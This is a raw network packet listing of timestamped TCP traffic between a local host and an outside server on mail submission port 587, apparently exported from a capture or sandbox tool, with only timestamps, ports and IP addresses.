Jan 15, 2025 08:43:59.232480049 CET	50021	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:59.232546091 CET	587	50021	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:59.232604980 CET	50021	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:59.234379053 CET	587	50021	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:59.234437943 CET	50021	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:59.234484911 CET	587	50021	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:59.234546900 CET	587	50021	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:59.234587908 CET	587	50021	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:59.234613895 CET	587	50021	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:59.234740019 CET	587	50021	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:59.234790087 CET	587	50021	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:59.234843969 CET	587	50021	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:59.234854937 CET	587	50021	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:59.234909058 CET	587	50021	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:59.235033035 CET	587	50021	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:59.235043049 CET	587	50021	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:59.235052109 CET	587	50021	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:59.235061884 CET	587	50021	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:59.235070944 CET	587	50021	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:59.235081911 CET	587	50021	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:59.237188101 CET	587	50021	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:59.239142895 CET	587	50021	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:59.239197969 CET	587	50021	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:59.239284039 CET	587	50021	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:59.239293098 CET	587	50021	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:59.239319086 CET	587	50021	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:59.239327908 CET	587	50021	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:59.239343882 CET	587	50021	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:59.239352942 CET	587	50021	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:59.239485979 CET	587	50021	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:59.239495039 CET	587	50021	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:59.239502907 CET	587	50021	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:59.239506006 CET	587	50021	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:59.239520073 CET	587	50021	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:59.239528894 CET	587	50021	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:59.239568949 CET	587	50021	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:59.239578009 CET	587	50021	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:59.728949070 CET	587	50021	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:59.825687885 CET	50021	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:44:00.005722046 CET	50014	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:44:00.010863066 CET	587	50014	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:00.403544903 CET	587	50014	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:00.403628111 CET	587	50014	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:00.403990984 CET	50014	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:44:00.404234886 CET	50014	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:44:00.405694008 CET	50022	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:44:00.408813953 CET	587	50014	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:00.410470963 CET	587	50022	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:00.410701036 CET	50022	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:44:01.014897108 CET	587	50022	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:01.015068054 CET	50022	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:44:01.019886017 CET	587	50022	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:01.213073969 CET	587	50022	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:01.213406086 CET	50022	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:44:01.218348026 CET	587	50022	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:01.411942005 CET	587	50022	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:01.412332058 CET	50022	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:44:01.417152882 CET	587	50022	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:01.625035048 CET	587	50022	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:01.647099972 CET	50022	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:44:01.651972055 CET	587	50022	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:01.845330954 CET	587	50022	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:01.851749897 CET	50022	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:44:01.856657982 CET	587	50022	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:02.106352091 CET	587	50022	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:02.106718063 CET	50022	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:44:02.112348080 CET	587	50022	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:02.304672003 CET	587	50022	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:02.306061983 CET	50022	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:44:02.306061983 CET	50022	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:44:02.306106091 CET	50022	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:44:02.306179047 CET	50022	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:44:02.307517052 CET	50022	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:44:02.310878992 CET	587	50022	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:02.312148094 CET	587	50022	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:02.312159061 CET	587	50022	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:02.312167883 CET	587	50022	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:02.312271118 CET	50022	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:44:02.312326908 CET	587	50022	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:02.312448978 CET	50022	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:44:02.312509060 CET	587	50022	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:02.312520027 CET	587	50022	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:02.312558889 CET	587	50022	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:02.312567949 CET	587	50022	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:02.312581062 CET	587	50022	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:02.312598944 CET	50022	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:44:02.312614918 CET	50022	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:44:02.312679052 CET	50022	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:44:02.313519955 CET	587	50022	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:02.313529968 CET	587	50022	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:02.313538074 CET	587	50022	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:02.313612938 CET	50022	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:44:02.317078114 CET	587	50022	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:02.317224026 CET	587	50022	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:02.317353964 CET	50022	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:44:02.317380905 CET	587	50022	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:02.317420006 CET	587	50022	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:02.317503929 CET	50022	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:44:02.317548037 CET	587	50022	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:02.317584991 CET	587	50022	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:02.317595005 CET	587	50022	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:02.317711115 CET	50022	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:44:02.318389893 CET	587	50022	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:02.318521976 CET	50022	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:44:02.318542004 CET	587	50022	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:02.318553925 CET	587	50022	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:02.318656921 CET	50022	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:44:02.322216988 CET	587	50022	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:02.322309017 CET	587	50022	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:02.322336912 CET	587	50022	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:02.322340012 CET	50022	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:44:02.322376013 CET	587	50022	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:02.322405100 CET	587	50022	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:02.322406054 CET	50022	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:44:02.322474003 CET	587	50022	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:02.322606087 CET	587	50022	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:02.322659969 CET	587	50022	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:02.322670937 CET	587	50022	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:02.322731018 CET	587	50022	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:02.323184967 CET	587	50022	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:02.323194027 CET	587	50022	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:02.323201895 CET	587	50022	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:02.323354006 CET	587	50022	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:02.323364019 CET	587	50022	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:02.323371887 CET	587	50022	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:02.323431015 CET	587	50022	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:02.323441029 CET	587	50022	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:02.323457956 CET	587	50022	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:02.323468924 CET	587	50022	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:02.326960087 CET	587	50022	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:02.326968908 CET	587	50022	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:02.326977968 CET	587	50022	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:02.326987982 CET	587	50022	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:02.326998949 CET	587	50022	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:02.327198982 CET	587	50022	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:02.327208996 CET	587	50022	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:02.327246904 CET	587	50022	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:02.327256918 CET	587	50022	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:02.327318907 CET	587	50022	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:02.327330112 CET	587	50022	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:02.327368975 CET	587	50022	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:02.327378988 CET	587	50022	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:02.327387094 CET	587	50022	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:02.768256903 CET	587	50022	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:02.824774981 CET	50022	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:44:03.761871099 CET	50022	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:44:03.766778946 CET	587	50022	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:04.163575888 CET	587	50022	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:04.163676023 CET	50022	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:44:04.163758993 CET	587	50022	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:04.163805962 CET	50022	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:44:04.164527893 CET	50023	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:44:04.168443918 CET	587	50022	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:04.169409037 CET	587	50023	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:04.169465065 CET	50023	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:44:04.754967928 CET	587	50023	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:04.755091906 CET	50023	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:44:04.760098934 CET	587	50023	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:04.949564934 CET	587	50023	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:04.949728012 CET	50023	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:44:04.954585075 CET	587	50023	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:05.144316912 CET	587	50023	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:05.148463011 CET	50023	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:44:05.153338909 CET	587	50023	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:05.361375093 CET	587	50023	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:05.361501932 CET	50023	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:44:05.366442919 CET	587	50023	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:05.555880070 CET	587	50023	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:05.556046009 CET	50023	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:44:05.561681032 CET	587	50023	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:05.800333977 CET	587	50023	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:05.800502062 CET	50023	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:44:05.805548906 CET	587	50023	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:05.995090008 CET	587	50023	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:05.995357990 CET	50023	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:44:05.995417118 CET	50023	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:44:05.995417118 CET	50023	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:44:05.995491028 CET	50023	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:44:05.997013092 CET	50023	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:44:06.000248909 CET	587	50023	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:06.000261068 CET	587	50023	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:06.000271082 CET	587	50023	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:06.000339985 CET	587	50023	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:06.000368118 CET	50023	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:44:06.002262115 CET	587	50023	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:06.002273083 CET	587	50023	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:06.002290964 CET	587	50023	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:06.002300978 CET	587	50023	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:06.002310038 CET	587	50023	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:06.002332926 CET	587	50023	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:06.002342939 CET	587	50023	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:06.002351999 CET	50023	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:44:06.002394915 CET	587	50023	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:06.002405882 CET	587	50023	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:06.002439022 CET	50023	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:44:06.005206108 CET	587	50023	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:06.005302906 CET	50023	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:44:06.007731915 CET	587	50023	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:06.007890940 CET	50023	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:44:06.010242939 CET	587	50023	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:06.010339022 CET	50023	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:44:06.012742996 CET	587	50023	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:06.012783051 CET	587	50023	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:06.012795925 CET	587	50023	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:06.012819052 CET	50023	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:44:06.012892008 CET	587	50023	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:06.012902021 CET	587	50023	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:06.012943983 CET	50023	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:44:06.012994051 CET	587	50023	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:06.013021946 CET	587	50023	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:06.013061047 CET	587	50023	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:06.013099909 CET	587	50023	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:06.013109922 CET	587	50023	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:06.013150930 CET	587	50023	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:06.013160944 CET	587	50023	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:06.015253067 CET	587	50023	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:06.015263081 CET	587	50023	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:06.015270948 CET	587	50023	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:06.015284061 CET	587	50023	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:06.017677069 CET	587	50023	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:06.017738104 CET	587	50023	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:06.017748117 CET	587	50023	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:06.017766953 CET	587	50023	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:06.017776966 CET	587	50023	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:06.017836094 CET	587	50023	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:06.017846107 CET	587	50023	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:06.017857075 CET	587	50023	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:06.017867088 CET	587	50023	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:06.017884970 CET	587	50023	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:06.017894983 CET	587	50023	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:06.017904997 CET	587	50023	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:06.017916918 CET	587	50023	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:06.018032074 CET	587	50023	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:06.018042088 CET	587	50023	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:06.018157005 CET	50023	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:44:06.022970915 CET	587	50023	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:06.458679914 CET	587	50023	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:06.528774977 CET	50023	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:44:09.779714108 CET	50023	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:44:09.784480095 CET	587	50023	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:10.176616907 CET	587	50023	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:10.176645041 CET	587	50023	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:10.176743984 CET	50023	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:44:10.176800966 CET	50023	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:44:10.177973032 CET	50024	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:44:10.181700945 CET	587	50023	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:10.182917118 CET	587	50024	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:10.183048964 CET	50024	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:44:10.802951097 CET	587	50024	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:10.803123951 CET	50024	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:44:10.808056116 CET	587	50024	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:10.963255882 CET	50021	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:44:10.968327999 CET	587	50021	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:10.997549057 CET	587	50024	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:10.997776985 CET	50024	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:44:11.003082037 CET	587	50024	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:11.192467928 CET	587	50024	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:11.234791040 CET	50024	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:44:11.360269070 CET	587	50021	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:11.360372066 CET	587	50021	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:11.360435963 CET	50021	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:44:14.498435974 CET	50024	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:44:14.498688936 CET	50024	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:44:14.503334045 CET	587	50024	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:14.503815889 CET	587	50024	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:14.504228115 CET	50024	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:44:14.545563936 CET	50025	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:44:14.550403118 CET	587	50025	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:14.550749063 CET	50025	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:44:14.708600998 CET	50021	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:44:14.708765030 CET	50026	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:44:14.713479996 CET	587	50021	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:14.713582039 CET	587	50026	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:14.713788986 CET	50026	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:44:15.154799938 CET	587	50025	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:15.154918909 CET	50025	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:44:15.159744978 CET	587	50025	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:15.312625885 CET	587	50026	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:15.312767982 CET	50026	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:44:15.317564011 CET	587	50026	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:15.353018045 CET	587	50025	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:15.353159904 CET	50025	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:44:15.358007908 CET	587	50025	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:15.508991003 CET	587	50026	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:15.509164095 CET	50026	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:44:15.514005899 CET	587	50026	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:15.557992935 CET	587	50025	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:15.558175087 CET	50025	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:44:15.562983036 CET	587	50025	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:15.705519915 CET	587	50026	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:15.705688953 CET	50026	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:44:15.710546970 CET	587	50026	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:15.770289898 CET	587	50025	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:15.770421982 CET	50025	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:44:15.775240898 CET	587	50025	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:15.915554047 CET	587	50026	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:15.915683985 CET	50026	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:44:15.920465946 CET	587	50026	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:15.968208075 CET	587	50025	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:15.968333960 CET	50025	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:44:15.973140001 CET	587	50025	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:16.111355066 CET	587	50026	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:16.111507893 CET	50026	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:44:16.116400003 CET	587	50026	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:16.210967064 CET	587	50025	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:16.211333990 CET	50025	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:44:16.216197014 CET	587	50025	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:16.350384951 CET	587	50026	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:16.350552082 CET	50026	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:44:16.355340958 CET	587	50026	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:16.409223080 CET	587	50025	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:16.409686089 CET	50025	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:44:16.409686089 CET	50025	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:44:16.409686089 CET	50025	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:44:16.409745932 CET	50025	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:44:16.410830021 CET	50025	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:44:16.414494038 CET	587	50025	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:16.414505959 CET	587	50025	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:16.414515018 CET	587	50025	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:16.414671898 CET	587	50025	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:16.414710999 CET	50025	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:44:16.415741920 CET	587	50025	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:16.415752888 CET	587	50025	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:16.415760994 CET	587	50025	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:16.415801048 CET	587	50025	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:16.415811062 CET	50025	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:44:16.415823936 CET	587	50025	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:16.415833950 CET	587	50025	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:16.415852070 CET	587	50025	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:16.415855885 CET	587	50025	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:16.415858984 CET	50025	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:44:16.415859938 CET	587	50025	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:16.415911913 CET	50025	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:44:16.415932894 CET	50025	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:44:16.419564962 CET	587	50025	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:16.419630051 CET	50025	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:44:16.420592070 CET	587	50025	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:16.420634031 CET	587	50025	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:16.420672894 CET	587	50025	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:16.420701027 CET	587	50025	212.44.102.65	192.168.2.6
